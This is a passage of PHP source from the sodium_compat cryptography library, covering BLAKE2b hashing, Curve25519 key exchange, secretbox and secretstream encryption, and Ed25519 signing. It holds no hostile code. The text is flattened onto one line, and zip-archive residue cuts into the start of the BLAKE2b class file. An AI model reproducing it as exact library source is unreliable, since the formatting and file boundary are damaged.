* @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return self::generichash( self::scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk); } } PK!6(4W4Wsrc/Core32/BLAKE2b.phpnu[> */ public static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function new64($high, $low) { return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high); } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @return ParagonIE_Sodium_Core32_Int64 */ protected static function add64($x, $y) { return $x->addInt64($y); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @param ParagonIE_Sodium_Core32_Int64 $z * @return ParagonIE_Sodium_Core32_Int64 */ public static function add364($x, $y, $z) { return $x->addInt64($y)->addInt64($z); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @return ParagonIE_Sodium_Core32_Int64 * @throws TypeError */ public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y) { return $x->xorInt64($y); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c) { return $x->rotateRight($c); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function load64($x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param ParagonIE_Sodium_Core32_Int64 $u * @return void * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u) { $v = clone $u; $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { $k = 3 - ($j >> 1); $x[$i] = $v->limbs[$k] & 0xff; if (++$i > $maxLength) { return; } $v->limbs[$k] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void * @throws SodiumException * @throws TypeError */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @throws SodiumException * @throws TypeError */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen 